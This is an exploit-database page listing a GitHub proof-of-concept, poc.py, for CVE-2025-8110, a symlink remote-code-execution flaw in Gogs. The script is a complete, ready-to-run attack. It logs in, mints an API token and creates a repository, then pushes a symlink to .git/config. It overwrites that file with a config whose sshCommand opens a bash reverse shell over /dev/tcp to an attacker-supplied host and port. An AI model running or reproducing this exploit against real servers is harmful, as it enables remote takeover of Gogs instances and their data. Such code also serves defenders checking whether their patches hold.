Exploit database

GH-3e0daf036de6602fd3447cf1bda0a73b

joaquinrrr/cve-2025-8110

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-8110

13 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
joaquinrrr/cve-2025-8110Revision 27e5647b11a4

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc.py

Python · 16,953 bytes
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
CVE-2025-8110 - Gogs Repository Symlink Remote Code Execution
Made by oguiii
"""

import argparse
import requests
import os
import subprocess
import shutil
import urllib3
from urllib.parse import urlparse
import base64
import re
from bs4 import BeautifulSoup
from rich.console import Console
from rich.table import Table
from rich.panel import Panel
from rich.progress import Progress, SpinnerColumn, TextColumn
import time
import sys
import tempfile

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

console = Console()

__author__ = "oguiii"
__github__ = "https://github.com/oguiii"
__cve__ = "CVE-2025-8110"
__version__ = "1.0.0"

# Proxy configuration for debugging
PROXY_CONFIG = {
    "http": "http://localhost:8080",
    "https": "http://localhost:8080",
}

# Color constants for output
COLORS = {
    "info": "cyan",
    "success": "green",
    "error": "red",
    "warning": "yellow",
    "highlight": "magenta"
}


def print_banner():
    """Display the tool banner."""
    banner_text = """
    ╔══════════════════════════════════════════════════════════════╗
    ║                                                              ║
    ║    ██████╗██╗   ██╗███████╗    ██████╗ ██████╗  ██████╗    ║
    ║   ██╔════╝██║   ██║██╔════╝    ╚════██╗╚════██╗██╔════╝    ║
    ║   ██║     ██║   ██║█████╗       █████╔╝ █████╔╝██║         ║
    ║   ██║     ╚██╗ ██╔╝██╔══╝      ██╔═══╝  ╚═══██╗██║         ║
    ║   ╚██████╗ ╚████╔╝ ███████╗    ███████╗██████╔╝╚██████╗    ║
    ║    ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝╚═════╝  ╚═════╝    ║
    ║                                                              ║
    ║         CVE-2025-8110 - Gogs RCE Exploit                    ║
    ║                   Made by oguiii                            ║
    ╚══════════════════════════════════════════════════════════════╝
    """
    console.print(Panel(banner_text, style="bold magenta", border_style="cyan"))


def extract_csrf_token(html_text):
    """
    Extract CSRF token from HTML using multiple methods.
    
    Args:
        html_text: HTML content as string
        
    Returns:
        str: CSRF token value
        
    Raises:
        ValueError: If CSRF token cannot be found
    """
    soup = BeautifulSoup(html_text, "html.parser")
    
    # Method 1: Standard hidden input
    for input_name in ['_csrf', 'csrf_token', 'csrf']:
        token_input = soup.select_one(f"input[name='{input_name}']")
        if token_input and token_input.get("value"):
            return token_input.get("value")
    
    # Method 2: Meta tag
    meta_tag = soup.find("meta", {"name": "_csrf"})
    if meta_tag and meta_tag.get("content"):
        return meta_tag.get("content")
    
    # Method 3: JavaScript variable
    patterns = [
        r'"csrf_token"\s*:\s*"([^"]+)"',
        r'var\s+csrf_token\s*=\s*"([^"]+)"',
        r'csrf_token\s*=\s*"([^"]+)"',
        r'<input[^>]*name="[_-]csrf"[^>]*value="([^"]+)"'
    ]
    
    for pattern in patterns:
        match = re.search(pattern, html_text, re.IGNORECASE)
        if match:
            return match.group(1)
    
    raise ValueError("Unable to extract CSRF token from page")


def authenticate_to_gogs(session, base_url, username, password):
    """
    Authenticate to Gogs and establish session.
    
    Args:
        session: Requests session object
        base_url: Gogs base URL
        username: Gogs username
        password: Gogs password
        
    Returns:
        bool: True if authentication successful
        
    Raises:
        ValueError: If authentication fails
    """
    login_url = f"{base_url}/user/login"
    console.print(f"[{COLORS['info']}] Authenticating to Gogs as '{username}'...[/{COLORS['info']}]")
    
    # Get login page and extract CSRF token
    response = session.get(login_url)
    csrf_token = extract_csrf_token(response.text)
    console.print(f"[{COLORS['info']}] CSRF token obtained: {csrf_token[:15]}...[/{COLORS['info']}]")
    
    # Submit login credentials
    login_data = {
        "_csrf": csrf_token,
        "user_name": username,
        "password": password,
    }
    
    response = session.post(
        login_url,
        headers={"Content-Type": "application/x-www-form-urlencoded"},
        data=login_data,
        allow_redirects=True
    )
    
    # Verify authentication success
    if "user/login" in response.url or "login" in response.url.lower():
        soup = BeautifulSoup(response.text, "html.parser")
        error_elements = soup.find_all("div", class_=re.compile(r'error|alert|danger'))
        error_message = error_elements[0].get_text(strip=True) if error_elements else "Unknown error"
        raise ValueError(f"Authentication failed: {error_message}")
    
    console.print(f"[{COLORS['success']}] [+] Authentication successful![/{COLORS['success']}]")
    return True


def generate_application_token(session, base_url):
    """
    Generate and retrieve application token.
    
    Args:
        session: Requests session object
        base_url: Gogs base URL
        
    Returns:
        str: Application token
        
    Raises:
        ValueError: If token cannot be generated or retrieved
    """
    settings_url = f"{base_url}/user/settings/applications"
    console.print(f"[{COLORS['info']}] Generating application token...[/{COLORS['info']}]")
    
    # Get settings page
    response = session.get(settings_url)
    csrf_token = extract_csrf_token(response.text)
    
    # Generate new token
    token_name = os.urandom(8).hex()
    token_data = {
        "_csrf": csrf_token,
        "name": token_name
    }
    
    response = session.post(settings_url, data=token_data, allow_redirects=True)
    
    # Extract token from response
    token_patterns = [
        r'<div class="ui info message">.*?([a-f0-9]{20,})',
        r'<div class="ui message">.*?([a-f0-9]{20,})',
        r'<div[^>]*class="[^"]*message[^"]*">.*?([a-f0-9]{20,})',
        r'<td>([a-f0-9]{20,})</td>',
        r'[a-f0-9]{40}'
    ]
    
    for pattern in token_patterns:
        match = re.search(pattern, response.text, re.DOTALL)
        if match:
            token = match.group(1)
            console.print(f"[{COLORS['success']}] [+] Application token obtained: {token[:20]}...[/{COLORS['success']}]")
            return token
    
    # Debug: Save response for inspection
    debug_path = "/tmp/gogs_token_debug.html"
    with open(debug_path, "w") as f:
        f.write(response.text)
    console.print(f"[{COLORS['warning']}] [!] Token not found. Response saved to {debug_path}[/{COLORS['warning']}]")
    
    raise ValueError("Unable to retrieve application token")


def create_repository(session, base_url, token):
    """
    Create a new repository with auto-init.
    
    Args:
        session: Requests session object
        base_url: Gogs base URL
        token: Application token
        
    Returns:
        str: Repository name
    """
    api_url = f"{base_url}/api/v1/user/repos"
    repo_name = os.urandom(6).hex()
    
    repo_data = {
        "name": repo_name,
        "description": "Security research repository",
        "auto_init": True,
        "readme": "Default",
        "ssh": True,
    }
    
    session.headers.update({"Authorization": f"token {token}"})
    response = session.post(api_url, json=repo_data)
    
    if response.status_code != 201:
        raise ValueError(f"Repository creation failed: {response.status_code} - {response.text}")
    
    console.print(f"[{COLORS['success']}] [+] Repository '{repo_name}' created successfully[/{COLORS['success']}]")
    return repo_name


def upload_symlink(base_url, username, password, repo_name):
    """
    Clone repository, create symlink, and push changes.
    
    Args:
        base_url: Gogs base URL
        username: Gogs username
        password: Gogs password
        repo_name: Repository name
    """
    console.print(f"[{COLORS['info']}] Preparing symlink upload...[/{COLORS['info']}]")
    
    # Parse URL for repository clone
    parsed_url = urlparse(base_url)
    base_path = parsed_url.path.rstrip("/")
    repo_url = f"{parsed_url.scheme}://{username}:{password}@{parsed_url.netloc}{base_path}/{username}/{repo_name}.git"
    
    # Create temporary directory
    repo_dir = tempfile.mkdtemp(prefix=f"gogs_{repo_name}_")
    
    try:
        # Clone repository
        console.print(f"[{COLORS['info']}] Cloning repository...[/{COLORS['info']}]")
        subprocess.run(
            ["git", "clone", repo_url, repo_dir],
            check=True,
            capture_output=True,
            text=True
        )
        
        # Create symlink
        symlink_path = os.path.join(repo_dir, "malicious_link")
        os.symlink(".git/config", symlink_path)
        
        # Configure git
        subprocess.run(
            ["git", "config", "user.email", "[email protected]"],
            cwd=repo_dir,
            check=True
        )
        subprocess.run(
            ["git", "config", "user.name", "Security Researcher"],
            cwd=repo_dir,
            check=True
        )
        
        # Add, commit, and push
        subprocess.run(
            ["git", "add", "malicious_link"],
            cwd=repo_dir,
            check=True,
            capture_output=True
        )
        
        subprocess.run(
            ["git", "commit", "-m", "Update configuration"],
            cwd=repo_dir,
            check=True,
            capture_output=True
        )
        
        subprocess.run(
            ["git", "push", "origin", "master"],
            cwd=repo_dir,
            check=True,
            capture_output=True,
            text=True
        )
        
        console.print(f"[{COLORS['success']}] [+] Symlink uploaded successfully[/{COLORS['success']}]")
        
    except subprocess.CalledProcessError as e:
        console.print(f"[{COLORS['error']}] Git operation failed:[/{COLORS['error']}]")
        if e.stderr:
            console.print(f"[{COLORS['error']}] {e.stderr}[/{COLORS['error']}]")
        raise
    finally:
        # Clean up temporary directory
        if os.path.exists(repo_dir):
            shutil.rmtree(repo_dir)
            console.print(f"[{COLORS['info']}] Cleaned up temporary files[/{COLORS['info']}]")


def execute_exploit(session, base_url, token, username, repo_name, payload):
    """
    Execute the main exploit by uploading malicious configuration.
    
    Args:
        session: Requests session object
        base_url: Gogs base URL
        token: Application token
        username: Gogs username
        repo_name: Repository name
        payload: Payload to execute
    """
    api_url = f"{base_url}/api/v1/repos/{username}/{repo_name}/contents/malicious_link"
    
    # Prepare exploit payload
    encoded_content = base64.b64encode(payload.encode()).decode()
    exploit_data = {
        "message": "Configuration update",
        "content": encoded_content
    }
    
    headers = {
        "Authorization": f"token {token}",
        "Content-Type": "application/json",
    }
    
    console.print(f"[{COLORS['success']}] [+] Exploit payload sent![/{COLORS['success']}]")
    console.print(f"[{COLORS['info']}] Command: {payload.split('sshCommand = ')[1].split(' #')[0] if 'sshCommand' in payload else 'N/A'}[/{COLORS['info']}]")
    console.print(f"[{COLORS['warning']}] [!] Listen for incoming connection...[/{COLORS['warning']}]")
    
    try:
        response = session.put(api_url, json=exploit_data, headers=headers, timeout=10)
        if response.status_code == 200:
            console.print(f"[{COLORS['success']}] [+] Exploit executed successfully![/{COLORS['success']}]")
        else:
            console.print(f"[{COLORS['warning']}] [!] Unexpected response: {response.status_code}[/{COLORS['warning']}]")
            
    except requests.exceptions.Timeout:
        console.print(f"[{COLORS['success']}] [+] Connection timeout - likely reverse shell established![/{COLORS['success']}]")


def main():
    """Main execution flow."""
    parser = argparse.ArgumentParser(
        description="CVE-2025-8110 - Gogs Repository Symlink RCE Exploit",
        epilog="Made by oguiii - https://github.com/oguiii"
    )
    
    parser.add_argument(
        "-u", "--url",
        required=True,
        help="Gogs base URL (e.g., https://gogs.example.com)"
    )
    parser.add_argument(
        "-lh", "--host",
        required=True,
        help="Attacker host IP for reverse shell"
    )
    parser.add_argument(
        "-lp", "--port",
        required=True,
        help="Attacker port for reverse shell"
    )
    parser.add_argument(
        "-U", "--username",
        required=True,
        help="Gogs username"
    )
    parser.add_argument(
        "-P", "--password",
        required=True,
        help="Gogs password"
    )
    parser.add_argument(
        "-x", "--proxy",
        action="store_true",
        help="Enable proxy (localhost:8080) for debugging"
    )
    parser.add_argument(
        "-v", "--verbose",
        action="store_true",
        help="Enable verbose output"
    )
    
    args = parser.parse_args()
    
    # Display banner
    print_banner()
    
    # Show configuration
    config_table = Table(title="Exploit Configuration", style="cyan")
    config_table.add_column("Parameter", style="bold yellow")
    config_table.add_column("Value", style="white")
    config_table.add_row("Target", args.url)
    config_table.add_row("Listener", f"{args.host}:{args.port}")
    config_table.add_row("Username", args.username)
    config_table.add_row("Proxy", "Enabled" if args.proxy else "Disabled")
    console.print(config_table)
    console.print()
    
    # Setup session
    session = requests.Session()
    if args.proxy:
        session.proxies.update(PROXY_CONFIG)
    session.verify = False
    
    try:
        # Step 1: Authentication
        authenticate_to_gogs(session, args.url, args.username, args.password)
        
        # Step 2: Generate token
        token = generate_application_token(session, args.url)
        
        # Step 3: Create repository
        repo_name = create_repository(session, args.url, token)
        
        # Step 4: Upload symlink
        upload_symlink(args.url, args.username, args.password, repo_name)
        
        # Step 5: Prepare and execute exploit
        reverse_shell_command = f"bash -c 'bash -i >& /dev/tcp/{args.host}/{args.port} 0>&1' #"
        
        git_config_payload = f"""[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
        ignorecase = true
        precomposeunicode = true
  sshCommand = {reverse_shell_command}
[remote "origin"]
        url = git@localhost:gogs/{repo_name}.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
        remote = origin
        merge = refs/heads/master
"""
        
        if args.verbose:
            console.print(f"[{COLORS['info']}] Payload:[/{COLORS['info']}]")
            console.print(Panel(git_config_payload, title="Exploit Payload", border_style="yellow"))
        
        execute_exploit(session, args.url, token, args.username, repo_name, git_config_payload)
        
        # Summary
        console.print()
        success_panel = Panel(
            "[bold green]Exploit execution completed[/bold green]\n\n"
            f"Repository: [cyan]{repo_name}[/cyan]\n"
            f"Listener: [cyan]{args.host}:{args.port}[/cyan]",
            title="[bold]EXPLOIT SUMMARY[/bold]",
            border_style="green"
        )
        console.print(success_panel)
        
    except ValueError as e:
        console.print(f"[{COLORS['error']}] [ERROR] {str(e)}[/{COLORS['error']}]")
        if args.verbose:
            import traceback
            traceback.print_exc()
        sys.exit(1)
    
    except Exception as e:
        console.print(f"[{COLORS['error']}] [ERROR] Unexpected error: {str(e)}[/{COLORS['error']}]")
        if args.verbose:
            import traceback
            traceback.print_exc()
        sys.exit(1)


if __name__ == "__main__":
    main()